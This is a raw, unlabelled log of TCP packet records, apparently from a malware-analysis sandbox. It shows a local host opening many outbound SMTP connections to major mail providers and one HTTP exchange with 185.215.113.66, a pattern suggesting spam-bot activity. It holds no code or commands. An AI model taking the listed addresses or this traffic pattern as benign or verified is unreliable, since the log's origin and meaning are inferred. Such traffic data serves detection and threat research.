Aug 24, 2023 19:03:38.478420019 CEST	50109	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:38.494025946 CEST	25	50095	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.495136976 CEST	25	50095	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.495311975 CEST	50095	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.496248007 CEST	25	50095	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.496351957 CEST	50095	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.497773886 CEST	25	50100	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:38.498059988 CEST	50100	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:38.502849102 CEST	25	50108	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:38.502949953 CEST	50108	25	192.168.2.8	184.106.54.1
Aug 24, 2023 19:03:38.533097029 CEST	25	50105	148.163.129.51	192.168.2.8
Aug 24, 2023 19:03:38.533351898 CEST	50105	25	192.168.2.8	148.163.129.51
Aug 24, 2023 19:03:38.539237022 CEST	25	50107	154.52.5.132	192.168.2.8
Aug 24, 2023 19:03:38.539334059 CEST	50107	25	192.168.2.8	154.52.5.132
Aug 24, 2023 19:03:38.545264006 CEST	25	50098	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:38.551824093 CEST	25	50103	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:38.552424908 CEST	50103	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:38.557864904 CEST	25	50092	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.558199883 CEST	50110	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.558703899 CEST	25	50094	142.238.252.73	192.168.2.8
Aug 24, 2023 19:03:38.558733940 CEST	25	50094	142.238.252.73	192.168.2.8
Aug 24, 2023 19:03:38.561932087 CEST	50111	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:38.562099934 CEST	50094	25	192.168.2.8	142.238.252.73
Aug 24, 2023 19:03:38.562099934 CEST	50094	25	192.168.2.8	142.238.252.73
Aug 24, 2023 19:03:38.567127943 CEST	25	50101	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.568079948 CEST	25	50106	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.568142891 CEST	50101	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.571512938 CEST	50106	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.579304934 CEST	50112	25	192.168.2.8	205.220.178.227
Aug 24, 2023 19:03:38.583113909 CEST	25	50097	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.595487118 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.595712900 CEST	50093	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:38.613830090 CEST	25	50109	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.614038944 CEST	50109	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:38.624763966 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:38.625116110 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:38.634535074 CEST	50113	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:38.666043997 CEST	25	50095	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.667319059 CEST	25	50100	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:38.668126106 CEST	50100	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:38.678047895 CEST	25	50103	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:38.678349018 CEST	50103	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:38.678414106 CEST	25	50094	142.238.252.73	192.168.2.8
Aug 24, 2023 19:03:38.679764986 CEST	25	50099	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:38.679933071 CEST	50099	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:38.680273056 CEST	25	50099	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:38.680366039 CEST	50099	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:38.691950083 CEST	25	50107	154.52.5.132	192.168.2.8
Aug 24, 2023 19:03:38.692173958 CEST	50107	25	192.168.2.8	154.52.5.132
Aug 24, 2023 19:03:38.695885897 CEST	25	50105	148.163.129.51	192.168.2.8
Aug 24, 2023 19:03:38.696176052 CEST	50105	25	192.168.2.8	148.163.129.51
Aug 24, 2023 19:03:38.704554081 CEST	25	50112	205.220.178.227	192.168.2.8
Aug 24, 2023 19:03:38.705019951 CEST	50112	25	192.168.2.8	205.220.178.227
Aug 24, 2023 19:03:38.716059923 CEST	50114	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:38.724364042 CEST	25	50111	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:38.724488020 CEST	50111	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:38.728600025 CEST	25	50110	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.728740931 CEST	50110	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.732671976 CEST	50115	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:38.735893011 CEST	25	50101	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.736742020 CEST	25	50101	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.736886978 CEST	50101	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.739765882 CEST	49949	25	192.168.2.8	205.193.122.69
Aug 24, 2023 19:03:38.748373985 CEST	25	50113	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.748603106 CEST	50113	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:38.750771046 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:38.751086950 CEST	25	50109	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.751249075 CEST	50109	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:38.751689911 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:38.751878023 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:38.757561922 CEST	25	50106	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.757950068 CEST	50106	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.778667927 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.802299023 CEST	25	50099	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:38.804267883 CEST	25	50103	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:38.804548979 CEST	50103	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:38.806850910 CEST	50116	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.829932928 CEST	25	50114	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.830034018 CEST	50114	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:38.834021091 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834021091 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834021091 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834166050 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834166050 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834166050 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834255934 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834255934 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834255934 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834255934 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834255934 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:38.834570885 CEST	50117	25	192.168.2.8	167.114.44.2
Aug 24, 2023 19:03:38.837326050 CEST	25	50100	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:38.837588072 CEST	50100	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:38.840126991 CEST	25	50115	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:38.840235949 CEST	50115	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:38.844595909 CEST	25	50107	154.52.5.132	192.168.2.8
Aug 24, 2023 19:03:38.844676971 CEST	50118	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:38.844857931 CEST	25	50107	154.52.5.132	192.168.2.8
Aug 24, 2023 19:03:38.844997883 CEST	50107	25	192.168.2.8	154.52.5.132
Aug 24, 2023 19:03:38.846657038 CEST	25	50112	205.220.178.227	192.168.2.8
Aug 24, 2023 19:03:38.847138882 CEST	50112	25	192.168.2.8	205.220.178.227
Aug 24, 2023 19:03:38.858529091 CEST	25	50105	148.163.129.51	192.168.2.8
Aug 24, 2023 19:03:38.858581066 CEST	25	50105	148.163.129.51	192.168.2.8
Aug 24, 2023 19:03:38.858747005 CEST	50105	25	192.168.2.8	148.163.129.51
Aug 24, 2023 19:03:38.860743999 CEST	25	50105	148.163.129.51	192.168.2.8
Aug 24, 2023 19:03:38.864094973 CEST	25	50113	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.864542961 CEST	50113	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:38.877901077 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:38.878447056 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:38.885051012 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:38.885165930 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:38.885221004 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:38.885268927 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:38.886873007 CEST	25	50109	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.890537024 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:38.895821095 CEST	25	50109	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:38.896076918 CEST	50109	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:38.902674913 CEST	25	50110	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.903090000 CEST	50110	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.904813051 CEST	25	50101	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.906003952 CEST	25	50101	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.906183004 CEST	50101	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.907103062 CEST	25	50101	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:38.907198906 CEST	50101	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:38.915539026 CEST	50119	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:38.921340942 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:38.930356026 CEST	25	50103	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:38.930968046 CEST	50103	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:38.938713074 CEST	25	50117	167.114.44.2	192.168.2.8
Aug 24, 2023 19:03:38.938791037 CEST	25	50111	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:38.938899040 CEST	50117	25	192.168.2.8	167.114.44.2
Aug 24, 2023 19:03:38.939188957 CEST	50111	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:38.939292908 CEST	25	50106	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.939363003 CEST	25	50106	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.939486980 CEST	50106	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.939800024 CEST	50120	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:38.945355892 CEST	25	50114	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.945501089 CEST	50114	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:38.949431896 CEST	25	50115	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:38.949649096 CEST	50115	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:38.952092886 CEST	25	50118	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:38.952218056 CEST	50118	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:38.972367048 CEST	25	50112	205.220.178.227	192.168.2.8
Aug 24, 2023 19:03:38.972404003 CEST	25	50112	205.220.178.227	192.168.2.8
Aug 24, 2023 19:03:38.973237991 CEST	50112	25	192.168.2.8	205.220.178.227
Aug 24, 2023 19:03:38.974196911 CEST	50112	25	192.168.2.8	205.220.178.227
Aug 24, 2023 19:03:38.978209019 CEST	25	50113	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.978322029 CEST	25	50113	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:38.978533983 CEST	50113	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:38.989573002 CEST	25	50116	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:38.989819050 CEST	50116	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:38.997951984 CEST	25	50107	154.52.5.132	192.168.2.8
Aug 24, 2023 19:03:39.007107019 CEST	25	50100	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:39.007371902 CEST	50100	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:39.007527113 CEST	25	50107	154.52.5.132	192.168.2.8
Aug 24, 2023 19:03:39.007662058 CEST	50107	25	192.168.2.8	154.52.5.132
Aug 24, 2023 19:03:39.009529114 CEST	50121	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.010220051 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:39.010257006 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:39.010369062 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:39.010369062 CEST	50061	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:39.018846989 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:39.018979073 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:39.022342920 CEST	25	50105	148.163.129.51	192.168.2.8
Aug 24, 2023 19:03:39.028789997 CEST	50122	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.031398058 CEST	25	50109	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.032496929 CEST	25	50109	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.032628059 CEST	50109	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.033576012 CEST	25	50109	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.033680916 CEST	50109	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.043423891 CEST	25	50120	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.043633938 CEST	50120	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.044168949 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:39.051135063 CEST	25	50119	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.051284075 CEST	50119	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.055973053 CEST	25	50103	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:39.056998968 CEST	25	50115	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.057569027 CEST	25	50103	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:39.057684898 CEST	50103	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:39.057960033 CEST	25	50115	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.058208942 CEST	50115	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.059045076 CEST	25	50114	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.059170961 CEST	25	50114	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.059319019 CEST	50114	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.060960054 CEST	25	50061	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:39.061851025 CEST	25	50118	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.062047958 CEST	50118	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.073656082 CEST	25	50110	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.073723078 CEST	25	50110	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.073745966 CEST	25	50101	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.073951006 CEST	50110	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.088418007 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.095129013 CEST	50093	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.096379995 CEST	25	50113	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.096735001 CEST	50113	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.101486921 CEST	25	50111	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:39.101536989 CEST	25	50111	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:39.101736069 CEST	50111	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:39.121418953 CEST	25	50106	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.121567965 CEST	50106	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.122406006 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.122936010 CEST	25	50121	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.123095036 CEST	50121	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.135734081 CEST	25	50122	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.135936022 CEST	50122	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.149022102 CEST	25	50120	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.149327040 CEST	50120	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.161981106 CEST	25	50107	154.52.5.132	192.168.2.8
Aug 24, 2023 19:03:39.165676117 CEST	25	50115	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.166815042 CEST	25	50115	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.167036057 CEST	50115	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.167424917 CEST	50124	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:39.167964935 CEST	25	50109	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.167983055 CEST	25	50115	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.168169022 CEST	50115	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.169245005 CEST	25	50118	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.170308113 CEST	25	50118	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.170494080 CEST	50118	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.173156023 CEST	25	50114	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.173290014 CEST	50114	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.175659895 CEST	25	50100	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:39.178631067 CEST	25	50100	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:39.178751945 CEST	50100	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:39.188298941 CEST	25	50119	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.188520908 CEST	50119	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.201309919 CEST	50125	25	192.168.2.8	209.71.212.24
Aug 24, 2023 19:03:39.217384100 CEST	50126	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:39.235676050 CEST	25	50116	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.236073017 CEST	50116	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.237272978 CEST	25	50121	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.237495899 CEST	50121	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.244231939 CEST	25	50110	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.244604111 CEST	50110	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.244700909 CEST	25	50122	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.244991064 CEST	50122	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.250737906 CEST	25	50113	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.252891064 CEST	25	50120	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.253849030 CEST	25	50120	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.254281044 CEST	50120	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.259109020 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:39.262610912 CEST	50127	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.264487982 CEST	25	50111	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:39.264569998 CEST	25	50111	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:39.264719009 CEST	50111	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:39.264813900 CEST	50111	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:39.274336100 CEST	25	50115	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.277792931 CEST	25	50118	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.278081894 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.279172897 CEST	25	50118	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.279416084 CEST	50118	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.280363083 CEST	25	50118	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.280489922 CEST	50118	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.303330898 CEST	25	50106	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.303483963 CEST	50106	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.322175026 CEST	25	50125	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:39.322382927 CEST	50125	25	192.168.2.8	209.71.212.24
Aug 24, 2023 19:03:39.323790073 CEST	25	50119	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.324671984 CEST	25	50119	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.324821949 CEST	50119	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.326297045 CEST	80	50077	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:39.326436043 CEST	80	50077	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:39.326520920 CEST	50077	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:39.327219963 CEST	25	50114	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.332442999 CEST	25	50126	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:39.332660913 CEST	50126	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:39.337981939 CEST	25	50124	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:39.338089943 CEST	50124	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:39.342761993 CEST	25	50114	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.342802048 CEST	25	50114	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.342920065 CEST	50114	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.346983910 CEST	50114	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.351011992 CEST	25	50121	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.351131916 CEST	25	50121	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.351373911 CEST	50121	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.351784945 CEST	25	50122	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.352799892 CEST	25	50122	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.353065014 CEST	50122	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.354938984 CEST	50129	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:39.358040094 CEST	25	50120	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.359261036 CEST	25	50120	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.359479904 CEST	50120	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.360398054 CEST	25	50120	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.360541105 CEST	50120	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.369735956 CEST	25	50107	154.52.5.132	192.168.2.8
Aug 24, 2023 19:03:39.369998932 CEST	50107	25	192.168.2.8	154.52.5.132
Aug 24, 2023 19:03:39.374386072 CEST	25	50113	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.374430895 CEST	25	50113	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.374449015 CEST	25	50113	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.374728918 CEST	50113	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.374876976 CEST	50113	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.378523111 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:39.378838062 CEST	50104	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:39.386774063 CEST	25	50118	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.414968014 CEST	25	50110	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.415137053 CEST	50110	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.418546915 CEST	25	50116	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.418719053 CEST	25	50116	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.418884993 CEST	50116	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.420785904 CEST	25	50093	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.427258968 CEST	25	50111	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:39.432897091 CEST	50130	25	192.168.2.8	68.232.131.254
Aug 24, 2023 19:03:39.436165094 CEST	25	50127	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:39.436294079 CEST	50127	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:39.442219019 CEST	25	50125	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:39.442264080 CEST	25	50125	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:39.450035095 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:39.450243950 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:39.460036039 CEST	25	50122	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.460084915 CEST	25	50119	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.460716963 CEST	25	50114	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.461170912 CEST	25	50119	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.461196899 CEST	25	50122	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.461334944 CEST	50119	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.461544991 CEST	50122	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.462404966 CEST	25	50119	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:39.462434053 CEST	25	50122	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.462517023 CEST	50119	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:39.462621927 CEST	50122	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:39.463073969 CEST	25	50120	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:39.465042114 CEST	25	50121	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.465167999 CEST	50131	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:39.465167999 CEST	50121	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:39.483546019 CEST	50132	25	192.168.2.8	67.195.204.77
Aug 24, 2023 19:03:39.488612890 CEST	25	50113	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:39.492866039 CEST	25	50129	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:39.494402885 CEST	50129	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:39.499645948 CEST	25	50126	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:39.499707937 CEST	25	50126	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:39.499850988 CEST	50126	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:39.499958038 CEST	50126	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:39.504446983 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:39.504483938 CEST	25	50104	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:39.509726048 CEST	50133	25	192.168.2.8	104.47.51.33
